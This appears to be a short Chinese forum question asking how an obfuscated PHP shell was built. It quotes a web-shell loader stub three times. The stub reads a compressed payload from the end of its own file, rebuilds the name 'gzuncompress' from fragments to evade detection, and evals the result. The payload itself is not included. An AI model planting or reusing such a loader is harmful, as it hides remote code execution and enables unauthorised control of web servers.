请问这个shell乱码是怎么做出来的呢

<?php

$passhash = '8a271c533eb74bd31c325fea20a47815';

$userSh = 'injulywetrust';

$d = substr(file_get_contents( __FILE__ ), -184443);

$d = str_replace('pbnyztsrqf', "<", $d);

$d = str_replace('ldhjvzrwgu', ">", $d);

$g = 'g'.'z'.'un'.'compr'.'e'.'ss';

eval($g($d));

exit;

?>

<?php

$passhash = '8a271c533eb74bd31c325fea20a47815';

$userSh = 'injulywetrust';

$d = substr(file_get_contents( __FILE__ ), -184443);

$d = str_replace('pbnyztsrqf', "<", $d);

$d = str_replace('ldhjvzrwgu', ">", $d);

$g = 'g'.'z'.'un'.'compr'.'e'.'ss';

eval($g($d));

exit;

?>

<?php

$passhash = '8a271c533eb74bd31c325fea20a47815';

$userSh = 'injulywetrust';

$d = substr(file_get_contents( __FILE__ ), -184443);

$d = str_replace('pbnyztsrqf', "<", $d);

$d = str_replace('ldhjvzrwgu', ">", $d);

$g = 'g'.'z'.'un'.'compr'.'e'.'ss';

eval($g($d));

exit;

?>